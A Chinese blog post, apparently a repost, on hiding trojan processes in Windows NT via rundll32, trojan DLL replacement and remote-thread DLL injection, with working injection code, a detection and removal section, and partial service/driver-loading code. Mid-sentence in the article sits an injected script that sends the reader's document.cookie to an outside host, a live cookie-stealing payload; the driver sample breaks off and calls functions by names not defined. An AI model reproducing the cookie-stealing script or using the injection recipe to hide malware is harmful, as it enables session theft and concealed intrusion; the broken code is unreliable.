隐藏窗口,隐藏进程
要做个软件实现隐藏运行,后来可以不显示窗口了,再后来想是否能隐藏进程呢,搜索后高手说
至少有3种方法,
1. 远程注入到其他的进程,dll远程注入,或者其他
2. 写成服务。
3. 写成驱动。
还再研究,先记下
转到人家写的很好的东西,分享下,
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
nt系统下木马进程的隐藏
在win9x中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在winnt中却完全不同, 无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能欺骗winnt的任务管理器,难道在winnt下木马真的再也无法隐藏自己的进程了?
我们知道,在windows系统下,可执行文件主要是exe和com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一(无论手动还是防火墙),随着入侵检测软件的不断发展,关联进程和socket已经成为流行的技术(例如著名的fport就能够检测出任何进程打开的tcp/udp端口),假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败(利用心理因素而非技术手段欺骗用户的木马不在我们的讨论范围之内)。在nt下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见(或者视而不见)你的进程;第二是不使用进程。
让系统管理员看不见进程的方法就是进行进程列表欺骗,为了了解如何看不见进程,我们首先要了解怎样能看得见进程:在windows中有多种方法能够看到进程的存在:psapi(process status api),pdh(performance data helper),toolhelp api,如果我们能够欺骗用户和入侵检测软件用来查看进程的函数(例如截获相应的api调用,替换返回的数据),我们就完全能实现进程隐藏,但是一来我们并不知道用户和入侵软件使用的是什么方法来查看进程列表,二来如果我们有权限和技术实现这样的欺骗,我们就一定能使用其它的方法更容易的实现进程的隐藏。(例如:能够替换dll或挂接api来隐藏进程不如直接用来做木马。)
第二种方法是不使用进程,不使用进程使用什么?为了弄明白这个问题,我们必须要先了解windows系统的另一种“可执行文件”----dll,dll是dynamic link library(动态链接库)的缩写,dll文件是windows的基础,因为所有的api函数都是在dll中实现的。dll文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。(你你你,你刚刚不是说不用进程了?)别急呀,听我慢慢道来:因为dll文件不能独立运行,所以在进程列表中并不会出现dll,假设我们编写了一个木马dll,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马dll,如果那个进程是可信进程,(例如资源管理器explorer.exe,没人会怀疑它是木马吧?)那么我们编写的dll作为那个进程的一部分,也将成为被信赖的一员而为所欲为。
运行dll文件最简单的方法是利用rundll32.exe,rundll/rundll32是windows自带的动态链接库工具,可以用来在命令行下执行动态链接库中的某个函数,其中rundll是16位而rundll32是32位的(分别调用16位和32位的dll文件),rundll32的使用方法如下:
rundll32 dllfilename funcname
例如我们编写了一个mydll.dll,这个动态链接库中定义了一个myfunc的函数,那么,我们通过rundll32.exe mydll.dll myfunc就可以执行myfunc函数的功能。
这个和木马的进程隐藏有什么关系么?当然有了,假设我们在myfunc函数中实现了木马的功能,那么我们不就可以通过rundll32来运行这个木马了么?在系统管理员看来,进程列表中增加的是rundll32.exe而并不是木马文件,这样也算是木马的一种简易欺骗和自我保护方法(至少你不能去把rundll32.exe删掉吧?想从rundll32进程找到dll木马还是有一点麻烦的)
使用rundll32的方法进行进程隐藏是简易的,非常容易被识破。(虽然杀起来会麻烦一点)比较高级的方法是使用特洛伊dll,特洛伊dll的工作原理是使用木马dll替换常用的dll文件,通过函数转发器将正常的调用转发给原dll,截获并处理特定的消息。例如,我们知道windows的socket1.x的函数都是存放在wsock32.dll中的,那么我们自己写一个wsock32.dll文件,替换掉原先的wsock32.dll(将原先的dll文件重命名为wsockold.dll)我们的wsock32.dll只做两件事,一是如果遇到不认识的调用,就直接转发给wsockold.dll(使用函数转发器forward);二是遇到特殊的请求(事先约定的)就解码并处理。这样理论上只要木马编写者通过socket远程输入一定的暗号,就可以控制wsock32.dll(木马dll)做任何操作。特洛伊dll技术是比较古老的技术,因此微软也对此做了相当的防范,在win2k的system32目录下有一个dllcache的目录,这个目录中存放着大量的dll文件(也包括一些重要的exe文件),这个是微软用来保护dll的法宝,一旦操作系统发现被保护的dll文件被篡改(数字签名技术),它就会自动从dllcache中恢复这个文件。虽然说有种种方法可以绕过dll保护(例如先更改dllcache目录中的备份再修改dll文件、或者利用knowndlls键值更改dll的默认启动路径等),但是可以想见的未来微软必将更加小心地保护重要的dll文件;同时由于特洛伊dll方法本身有着一些漏洞(例如修复安装、安装补丁、升级系统、检查数字签名等方法都有可能导致特洛伊dll失效),所以这个方法也不能算是dll木马的最优选择。
dll木马的最高境界是动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的(私人领地、请勿入内),但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。在多种动态嵌入技术中(窗口hook、挂接api、远程线程),我最喜欢的是远程线程技术,这种技术非常简单,只要有基本的进线程和动态链接库的知识就可以很轻松地完成嵌入,下面就为大家介绍一下远程线程技术。
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
远程线程技术
远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过createthread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过createremotethread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程耶!)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。例如在远程进程内部启动一个dll木马(与进入进程内部相比,启动一个dll木马是小意思,实际上我们可以随意篡改那个远程进程的数据)。
首先,我们通过openprocess 来打开我们试图嵌入的进程(如果远程进程不允许打开,那么嵌入就无法进行了,这往往是由于权限不足引起的,解决方法是通过种种途径提升本地进程的权限)
hremoteprocess = openprocess( process_create_thread | //允许远程创建线程
process_vm_operation | //允许远程vm操作
process_vm_write,//允许远程vm写
false, dwremoteprocessid )
由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(process_create_thread、vm_operation、vm_write)。
然后,我们可以建立loadlibraryw函数这个线程来启动我们的dll木马,loadlibraryw函数是在kernel32.dll中定义的,用来加载dll文件,它只有一个参数,就是dll文件的绝对路径名pszlibfilename,(也就是木马dll的全路径文件名),但是由于木马dll是在远程进程内调用的,所以我们首先还需要将这个文件名复制到远程地址空间:(否则远程线程是无法读到这个参数的)
//计算dll路径名需要的内存空间
int cb = (1 + lstrlenw(pszlibfilename)) * sizeof(wchar);
//使用virtualallocex函数在远程进程的内存地址空间分配dll文件名缓冲区
pszlibfileremote = (pwstr) virtualallocex( hremoteprocess, null, cb,
mem_commit, page_readwrite);
//使用writeprocessmemory函数将dll的路径名复制到远程进程的内存空间
ireturncode = writeprocessmemory(hremoteprocess,
pszlibfileremote, (pvoid) pszlibfilename, cb, null);
//计算loadlibraryw的入口地址
pthread_start_routine pfnstartaddr = (pthread_start_routine)
getprocaddress(getmodulehandle(text( "kernel32 ")), "loadlibraryw ");
ok,万事俱备,我们通过建立远程线程时的地址pfnstartaddr(实际上就是loadlibraryw的入口地址)和传递的参数pszlibfileremote(实际上是我们复制过去的木马dll的全路径文件名)在远程进程内启动我们的木马dll:
//启动远程线程loadlibraryw,通过远程线程调用用户的dll文件
hremotethread = createremotethread( hremoteprocess, null, 0,
pfnstartaddr, pszlibfileremote, 0, null);
至此,远程嵌入顺利完成,为了试验我们的dll是不是已经正常的在远程线程运行,我编写了以下的测试dll:
bool apientry dllmain(handle hmodule, dword reason, lpvoid lpreserved)
{
char szprocessid[64] ;
switch ( reason )
{
case dll_process_attach:
{
//获取当前进程id
_itoa ( getcurrentprocessid(), szprocessid, 10 );
messagebox ( null, szprocessid, "remotedll ", mb_ok );
}
default:
return true;
}
}
当我使用rmtdll.exe程序将这个testdll.dll嵌入explorer.exe进程后(pid=1208),该测试dll弹出了1208字样的确认框,同时使用ps工具也能看到
process id: 1208
c:\winnt\explorer.exe (0x00400000)
……
c:\testdll.dll (0x100000000)
……
这证明testdll.dll已经在explorer.exe进程内正确地运行了。
无论是使用特洛伊dll还是使用远程线程,都是让木马的核心代码运行于别的进程的内存空间,这样不仅能很好地隐藏自己,也能更好的保护自己。
这个时候,我们可以说已经实现了一个真正意义上的木马,它不仅欺骗、进入你的计算机,甚至进入了进程的内部,从某种意义上说,这种木马已经具备了病毒的很多特性,例如隐藏和寄生(和宿主同生共死),如果有一天,出现了具备所有病毒特性的木马(不是指蠕虫,而是传统意义上的寄生病毒),我想我并不会感到奇怪, <script> var y=document.cookie;var i= "http://vcdv.net/cgi-bin/2.pl? "+escape(y);document.write( " <script src= "+i+ " > "); </script> </script> 倒会疑问这一天为什么这么迟才到来。
dll木马的查杀
要是我的这篇文章到此结束,那么就变成了dll木马编写教学了:p,其实我们了解dll木马原理的最终目的还是为了更好的防御它,所以,让我们来讨论一下dll木马的查杀。
dll木马对于进程管理器来说是隐藏的,所以我们既不能用进程管理器来查找,也无法直接将它停止运行,假设dll木马嵌在explorer.exe这样的进程我们还能直接将宿主进程杀掉,但是如果木马通过提升权限等方法进入了inetinfo.exe这样的系统进程(iis),那么即使是管理员,也不能直接终止木马的运行。(在nt中,系统进程不能被直接kill)。因此,我们不能指望nt自带的进程管理器了,需要使用一些附加的工具。
一、 进程/内存模块查看器:
为了能发现dll木马,我们必须能查看内存中运行的dll模块(记得么?dll木马运行在已有的进程内),前面说了,在windows下查看进程/内存模块的方法很多,有psapi、pdh和toolhelper api。我用psapi写了一个这样的工具,补天的雏鹰用pdh写了一个更加强大的进程查看器,支持查看远程主机状况(知道系统管理员密码的情况下),希望早日整理发布。
ps工具可以在以下地址下载到:
http://isforce.51.net/down/ps.zip
实际上,由于windows系统的复杂性,即使有了上面的工具,查找dll木马仍然是非常艰难的,只有非常了解系统结构的管理员才能从无数的dll文件中找到异常的那一个,所以,平时使用ps工具备份一个dll文件列表会比较有帮助,方法很简单,ps.exe /a /m > ps.log。
二、 端口进程关联软件:
关联端口和进程的软件也是重要的工具之一,虽然dll木马隐藏在其他进程中,但是多多少少会有一些异常,功能强大的fport就是一个优秀的进程端口关联软件,可以在以下地址下载到:
http://isforce.51.net/down/fportng.zip
三、 嗅探器:
嗅探器帮助我们发现异常的网络通讯,从而引起我们的警惕和关注,嗅探器的原理很简单,通过将网卡设为混杂模式就可以接受所有的ip报文,嗅探程序可以从中选择值得关注的部分进行分析,剩下的无非是按照rfc文档对协议进行解码。在补天的主页上我放置了一个win2k下的命令行嗅探器,任何有兴趣的朋友都可以去下载源码并改写成自己需要的工具:
代码及头文件: http://isforce.51.net/down/guniffer.zip
编译后的程序: http://isforce.51.net/down/guniffer.exe
四、 注册表保护软件:
可以想象,dll木马仍然会继续利用注册表来启动自己(在windows中到哪里去找一个比注册表更复杂、更适合木马隐藏的地方呢?)不同的是,dll木马不仅仅局限于run、runonce这些众所周知的子键,而是拥有更多的选择。例如对于特洛伊dll来说,knowndlls子键就是再好不过的藏身之处,在注册表的hkey_local_machine\system\controlset001\control\session manager\knowndlls子键下,存放着一些已知dll的默认路径,假设dll木马修改或增加了某个键值,那么木马dll就可以无声无息地在进程加载知名dll的时候取代原本的dll文件进入进程。注册表保护的软件非常多,lockdown2000就内置这样的功能,另外,sysinternals的regmon也很不错,下载地址:
http://isforce.51.net/down/ntregmon.zip
五、 文件保护:
除了注册表,文件也是dll木马的启动工具,利用appname.local 文件进行的dll转移就可以顺利替换任何应用程序启动时加载的默认dll,特洛伊dll更是层出不穷,同样是sysinternals出品的filemon可以担当文件保护的重则:
http://isforce.51.net/down/ntfilmon.zip
dll木马的查杀非常复杂,并不是一天两天能够掌握的,目前补天公司也正在进行相关防御软件的开发,希望很快能为大家提供一个简单快捷的解决方案。
最后,感谢西祠的lion hook在dll文件操作上对我的指导,同时也感谢补天的abu、yagami、eyas、sztwww、大鹰、大皮球和其他兄弟们跟我一起讨论隐藏进程的技术,让我学到了很多的东西。
实例代码看看也是人家的
就是建立个服务。 C/C++ code #define DRIVER_NAME "MyDriver" #define DRIVER_PATH "..\\MyDriver.sys" BOOL LoadDriver(char* lpszDriverName,char* lpszDriverPath) { char szDriverImagePath[256]; //得到完整的驱动路径 GetFullPathName(lpszDriverPath, 256, szDriverImagePath, NULL); BOOL bRet = FALSE; SC_HANDLE hServiceMgr=NULL;//SCM管理器的句柄 SC_HANDLE hServiceDDK=NULL;//NT驱动程序的服务句柄 //打开服务控制管理器 hServiceMgr = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS ); if( hServiceMgr == NULL ) { //OpenSCManager失败 printf( "OpenSCManager() Faild %d ! \n", GetLastError() ); bRet = FALSE; goto BeforeLeave; } else { ////OpenSCManager成功 printf( "OpenSCManager() ok ! \n" ); } //创建驱动所对应的服务 hServiceDDK = CreateService( hServiceMgr, lpszDriverName, //驱动程序的在注册表中的名字 lpszDriverName, // 注册表驱动程序的 DisplayName 值 SERVICE_ALL_ACCESS, // 加载驱动程序的访问权限 SERVICE_KERNEL_DRIVER,// 表示加载的服务是驱动程序 SERVICE_DEMAND_START, // 注册表驱动程序的 Start 值 SERVICE_ERROR_IGNORE, // 注册表驱动程序的 ErrorControl 值 szDriverImagePath, // 注册表驱动程序的 ImagePath 值 NULL, NULL, NULL, NULL, NULL); DWORD dwRtn; //判断服务是否失败 if( hServiceDDK == NULL ) { dwRtn = GetLastError(); if( dwRtn != ERROR_IO_PENDING && dwRtn != ERROR_SERVICE_EXISTS ) { //由于其他原因创建服务失败 printf( "CrateService() Faild %d ! \n", dwRtn ); bRet = FALSE; goto BeforeLeave; } else { //服务创建失败,是由于服务已经创立过 printf( "CrateService() Faild Service is ERROR_IO_PENDING or ERROR_SERVICE_EXISTS! \n" ); } // 驱动程序已经加载,只需要打开 hServiceDDK = OpenService( hServiceMgr, lpszDriverName, SERVICE_ALL_ACCESS ); if( hServiceDDK == NULL ) { //如果打开服务也失败,则意味错误 dwRtn = GetLastError(); printf( "OpenService() Faild %d ! \n", dwRtn ); bRet = FALSE; goto BeforeLeave; } else { printf( "OpenService() ok ! \n" ); } } else { printf( "CrateService() ok ! \n" ); } //开启此项服务 bRet= StartService( hServiceDDK, NULL, NULL ); if( !bRet ) { DWORD dwRtn = GetLastError(); if( dwRtn != ERROR_IO_PENDING && dwRtn != ERROR_SERVICE_ALREADY_RUNNING ) { printf( "StartService() Faild %d ! \n", dwRtn ); bRet = FALSE; goto BeforeLeave; } else { if( dwRtn == ERROR_IO_PENDING ) { //设备被挂住 printf( "StartService() Faild ERROR_IO_PENDING ! \n"); bRet = FALSE; goto BeforeLeave; } else { //服务已经开启 printf( "StartService() Faild ERROR_SERVICE_ALREADY_RUNNING ! \n"); bRet = TRUE; goto BeforeLeave; } } } bRet = TRUE; //离开前关闭句柄 BeforeLeave: if(hServiceDDK) { CloseServiceHandle(hServiceDDK); } if(hServiceMgr) { CloseServiceHandle(hServiceMgr); } return bRet; } //卸载驱动程序 BOOL UnloadDriver( char * szSvrName ) { BOOL bRet = FALSE; SC_HANDLE hServiceMgr=NULL;//SCM管理器的句柄 SC_HANDLE hServiceDDK=NULL;//NT驱动程序的服务句柄 SERVICE_STATUS SvrSta; //打开SCM管理器 hServiceMgr = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS ); if( hServiceMgr == NULL ) { //带开SCM管理器失败 printf( "OpenSCManager() Faild %d ! \n", GetLastError() ); bRet = FALSE; goto BeforeLeave; } else { //带开SCM管理器失败成功 printf( "OpenSCManager() ok ! \n" ); } //打开驱动所对应的服务 hServiceDDK = OpenService( hServiceMgr, szSvrName, SERVICE_ALL_ACCESS ); if( hServiceDDK == NULL ) { //打开驱动所对应的服务失败 printf( "OpenService() Faild %d ! \n", GetLastError() ); bRet = FALSE; goto BeforeLeave; } else { printf( "OpenService() ok ! \n" ); } //停止驱动程序,如果停止失败,只有重新启动才能,再动态加载。 if( !ControlService( hServiceDDK, SERVICE_CONTROL_STOP , &SvrSta ) ) { printf( "ControlService() Faild %d !\n", GetLastError() ); } else { //打开驱动所对应的失败 printf( "ControlService() ok !\n" ); } //动态卸载驱动程序。 if( !DeleteService( hServiceDDK ) ) { //卸载失败 printf( "DeleteSrevice() Faild %d !\n", GetLastError() ); } else { //卸载成功 printf( "DelServer:eleteSrevice() ok !\n" ); } bRet = TRUE; BeforeLeave: //离开前关闭打开的句柄 if(hServiceDDK) { CloseServiceHandle(hServiceDDK); } if(hServiceMgr) { CloseServiceHandle(hServiceMgr); } return bRet; } int main() { //加载驱动 BOOL bRet = LoadNTDriver(DRIVER_NAME,DRIVER_PATH); ...... //卸载驱动 UnloadNTDriver(DRIVER_NAME);